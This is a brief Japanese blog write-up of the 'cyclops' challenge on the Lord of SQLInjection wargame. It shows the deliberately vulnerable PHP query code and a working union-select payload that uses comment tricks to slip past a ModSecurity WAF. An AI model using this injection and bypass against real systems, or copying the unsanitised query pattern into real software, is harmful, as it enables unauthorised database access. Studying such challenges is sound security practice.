はまやんはまやんはまやん

hamayanhamayan's blog

cyclops [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);

特徴は以下。

  • id,pwが入力可能
    • prob,_,.,()がフィルタリング
  • ModSecurityによるWAFが導入されている
  • idをfirstにして、pwをsecondにする

うーん、WAFのBypassって知識ゲーな感じがするんですが…
[LOS] cyclops
'<@=1 union/**/select 'first','second' #で行ける。OK。